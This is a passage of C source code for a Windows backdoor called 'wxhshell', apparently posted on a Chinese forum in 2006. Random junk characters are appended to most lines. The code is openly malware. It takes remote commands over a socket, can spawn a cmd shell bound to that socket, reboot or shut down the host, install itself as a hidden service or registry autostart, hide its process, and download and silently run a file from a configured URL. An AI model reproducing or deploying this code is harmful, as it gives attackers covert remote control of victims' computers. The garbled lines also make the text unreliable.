  // 帮助 O2C&XeB:4  
  case '?': { AWn$od`#s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )6 [d'2  
    break; ^%~ux0%^T  
  } (b>B6W\&  
  // 安装 g|PRk9  
  case 'i': { z9 )I@P"  
    if(Install()) F1UTj "<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;^Hg\a  
    else &$+nuUA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dE0 p>4F  
    break; Vv3{jn6%  
    } +U];  
  // 卸载 9 9S-P}xd  
  case 'r': { VwxLElV  
    if(Uninstall()) huw|J<$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!^+Xeg~  
    else /!L#cUog  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! Al?B9KJ  
    break; 22gk1'~dO  
    } .S =^)  
  // 显示 wxhshell 所在路径 qe"t0w|U?  
  case 'p': { 7 G<v<&  
    char svExeFile[MAX_PATH]; uy^vQ/  
    strcpy(svExeFile,"\n\r"); "ZU CYYre  
      strcat(svExeFile,ExeFile); /,m!S RJ  
        send(wsh,svExeFile,strlen(svExeFile),0); R#0Z  
    break; b9gezXAcd  
    } j9G1  _  
  // 重启 2AK]x`GY  
  case 'b': { ~KF>Jow?Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .uGvmD <;x  
    if(Boot(REBOOT)) 3Sb'){.MT+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , e6}p  
    else { //_aIp  
    closesocket(wsh); h<8.0  
    ExitThread(0); ?rG>SA>o  
    } q V +gQ  
    break; D3BT>zTGK  
    } d5O_~x f&  
  // 关机 IxQ(g#sj_k  
  case 'd': { =A< Fcl\Rz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1<ic 5kB  
    if(Boot(SHUTDOWN)) |JD"iP:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$^\s5K  
    else { ]gHi5]\NC  
    closesocket(wsh); sS5:5i  
    ExitThread(0); [%`L sY  
    } F}Kkhs {  
    break; byW9]('e  
    } E0o?rgfdq  
  // 获取shell 9< $n'g  
  case 's': { ?=\&O=_ln  
    CmdShell(wsh); 5i42o+'  
    closesocket(wsh); i G%h-  
    ExitThread(0); Cj6+zJ  
    break; +4Uxq{.K  
  } l9"T"9C{  
  // 退出 8UahoNrSt  
  case 'x': { r%^l~PN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gec?  
    CloseIt(wsh); ^[]@dk9  
    break; ~dFdO7  
    } d@?++z  
  // 离开 v.Y?<=E+<d  
  case 'q': {  ~;#OQ[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RMfKM! vE  
    closesocket(wsh); )=vQrMyB  
    WSACleanup(); 'q_^28rK  
    exit(1); (-:lO{@FsC  
    break; i 6@c@n  
        } (v'#~)R_`  
  } F^/1 u  
  } 25zmde~ w  
P wY~L3,  
  // 提示信息 E9"P~ nz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vTdJe  
} hN3*]s;/6z  
  } PS=N]e7k'  
4|#@41\ B  
  return; jrKRXS  
} UbnX%2TW  
kU {>hG4  
// shell模块句柄 5@kNvi  
int CmdShell(SOCKET sock) Z Vin+z  
{ +6$|No  
STARTUPINFO si; ls9 28  
ZeroMemory(&si,sizeof(si)); |v6kZ0B<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3m#/1=@o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^z%ShmM&LZ  
PROCESS_INFORMATION ProcessInfo; b,tf]Z-  
char cmdline[]="cmd";  KDX1_r=Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q|}%6ztv-  
  return 0; Q^H8gsv  
} (1pR=  
m'b9 f6  
// 自身启动模式 S1Nwm?z  
int StartFromService(void) Ddr.kXIpo  
{ 2.>WR~ \  
typedef struct Sz_{#-  
{ Z?);^m|T  
  DWORD ExitStatus; o;zU;pkB  
  DWORD PebBaseAddress; @|jLw($Ly  
  DWORD AffinityMask; PXRkK63  
  DWORD BasePriority; a At<36{?  
  ULONG UniqueProcessId; 5C|Y-G  
  ULONG InheritedFromUniqueProcessId; 6Bop8B  
}   PROCESS_BASIC_INFORMATION; *:+&Sx L  
X^td`}F/=V  
PROCNTQSIP NtQueryInformationProcess; djk?;^8  
Jx jP'8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Biva{'[m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RI[=N:C^  
j+9;Cp]NV  
  HANDLE             hProcess; `Nnaw+<]  
  PROCESS_BASIC_INFORMATION pbi; =1vl-*uYh  
cOq'MDr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L2,.af6+  
  if(NULL == hInst ) return 0; Ki,SFww8r  
3tjF4C>h|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zJ=lNb?q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NR6wNz&81  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +&*D7A>~p  
RnaxRnXVR  
  if (!NtQueryInformationProcess) return 0; J2BCaAwEP,  
2YbI."ob  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2I@d=T{K  
  if(!hProcess) return 0; $5]}]  
@|2L>N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4!</JZX~$  
d:X@zUR*)  
  CloseHandle(hProcess); @CTSvTt$  
z]%c6ty  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <3)k M&.B  
if(hProcess==NULL) return 0; sP'U9l  
sc0.!6^'V  
HMODULE hMod; =.48^$LWx  
char procName[255]; \x7^ly$_  
unsigned long cbNeeded; h]>QGX[kC  
@BmI1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !S3^{l-  
ixY[ HDPq  
  CloseHandle(hProcess); [X%Wg:K  
Z^[ ]s1iP}  
if(strstr(procName,"services")) return 1; // 以服务启动 Im g$D*BM  
 Nt w?~%  
  return 0; // 注册表启动 D^Gs_z$['  
} F%tV^$%  
)yt_i'D}  
// 主模块 euyd(y$'k  
int StartWxhshell(LPSTR lpCmdLine) j6:jN-z  
{ =`KA@~XH4  
  SOCKET wsl; ;xl0J*r  
BOOL val=TRUE; chE}TK  
  int port=0; ib\_MNIb  
  struct sockaddr_in door; ;Zy[2M  
{6tj$&\)  
  if(wscfg.ws_autoins) Install(); WbWEgd%8.  
}WV}in0  
port=atoi(lpCmdLine); jAcrXB*  
PrKH{nyJk  
if(port<=0) port=wscfg.ws_port; U!\~LKfA  
xep8CimP'  
  WSADATA data; ,gdud[&|;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rQD^O4j R  
OfK>-8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   idNra#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rz#q68  
  door.sin_family = AF_INET; |pG%]?A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .nzN5FB U  
  door.sin_port = htons(port); x:6c@2  
|[Rlg`TQ;*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % aqP{mOO  
closesocket(wsl); &"?S0S>r!  
return 1; bgYUsc*uR  
} N XCvS0/h  
='t}d>l  
  if(listen(wsl,2) == INVALID_SOCKET) { AGGT] 58|  
closesocket(wsl); !+u K@z&G  
return 1; 7|PB6h3  
} Ii&\LJ  
  Wxhshell(wsl); RG.wu6Av  
  WSACleanup(); v{X<6^g  
!$hi:3{U ,  
return 0; I<rT\':9  
P?ms^   
} 4Ql9VM%y  
#:NY9.\o  
// 以NT服务方式启动 ni85Ne$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IG Ax+3V  
{ }a%1$>sj  
DWORD   status = 0; GO)5R,  
  DWORD   specificError = 0xfffffff; $Jo4n>/  
ph$ vP;}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bO` S Bq$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hXh nJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; neQ~h4U"  
  serviceStatus.dwWin32ExitCode     = 0; P~M[i9 V  
  serviceStatus.dwServiceSpecificExitCode = 0; w{*PZb4  
  serviceStatus.dwCheckPoint       = 0; [w90gp1O[  
  serviceStatus.dwWaitHint       = 0; 3$_JNF`  
3rY\y+m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (6Ciqf8  
  if (hServiceStatusHandle==0) return; x5|^p=  
+s;>@j()V  
status = GetLastError(); .I?~R:(Ig  
  if (status!=NO_ERROR) ?t5<S]'r$  
{ u].7+{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zI0d  
    serviceStatus.dwCheckPoint       = 0; uBl&{$<  
    serviceStatus.dwWaitHint       = 0; U&ytZ7iB  
    serviceStatus.dwWin32ExitCode     = status; as(/ >p  
    serviceStatus.dwServiceSpecificExitCode = specificError; {;N2 &S o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R@-x!*z  
    return; TlowEh8r  
  } ,+ 5:}hR+  
{ V) `6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d N$,AOT  
  serviceStatus.dwCheckPoint       = 0; \wD L oR  
  serviceStatus.dwWaitHint       = 0; ('{aOiSH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K9-9 c"cz  
} *4e?y  
5DDSo0E  
// 处理NT服务事件,比如:启动、停止 '#XT[\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wb>;L@jB7  
{ Q:|W/RD~  
switch(fdwControl) 7{]dh+)  
{ 1BEs> Sm  
case SERVICE_CONTROL_STOP: J?dLI_{ <  
  serviceStatus.dwWin32ExitCode = 0; /wax5FS'I,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b8_F2  
  serviceStatus.dwCheckPoint   = 0; tS>^x  
  serviceStatus.dwWaitHint     = 0; KIi:5Y  
  { "g)V&Lx#X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>AOF\  
  } =7JSJ98  
  return; x. #E3xI  
case SERVICE_CONTROL_PAUSE: gXlcB~!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x9AFN  
  break; #%2d;V  
case SERVICE_CONTROL_CONTINUE: yx|{:Li!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qDG2rFu&[  
  break; T@=C2 1  
case SERVICE_CONTROL_INTERROGATE: .9J}Z^FD  
  break; Q`W2\Kod]  
}; 2l O(f+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^86M 94k  
} f@$W5*j  
YrJUs]A  
// 标准应用程序主函数 !:m.-TE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Kf/Id1  
{ ^;'8yE/  
&y}7AV  
// 获取操作系统版本 ,:e~aG,B  
OsIsNt=GetOsVer(); J8!2Tt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {x?qz~W  
p0WUF\"  
  // 从命令行安装 ccrWk*tr  
  if(strpbrk(lpCmdLine,"iI")) Install(); ) $_1U!z  
[gpO?'~  
  // 下载执行文件 gHp*QL\?9  
if(wscfg.ws_downexe) { +8C }%6aX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PMpq>$6b7  
  WinExec(wscfg.ws_filenam,SW_HIDE); a_V\[V{R=  
} _FYA? d}  
Hf@4p'  
if(!OsIsNt) { e`s1z|h  
// 如果时win9x,隐藏进程并且设置为注册表启动 '9Z`y_~)G  
HideProc(); cZQ8[I  
StartWxhshell(lpCmdLine); W~0rSVD$<z  
} vMB61 |O  
else y$\tqQ  
  if(StartFromService()) 8W{M}>;[9  
  // 以服务方式启动 HWsV_VAw}  
  StartServiceCtrlDispatcher(DispatchTable); 0\{dt4nW&O  
else fj;ZGbg-O  
  // 普通方式启动 5, ,~k=  
  StartWxhshell(lpCmdLine); BLy V~   
NX,m6u  
return 0; 6{buel(|e  
}
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只看该作者 1 发表于: 2006-10-10
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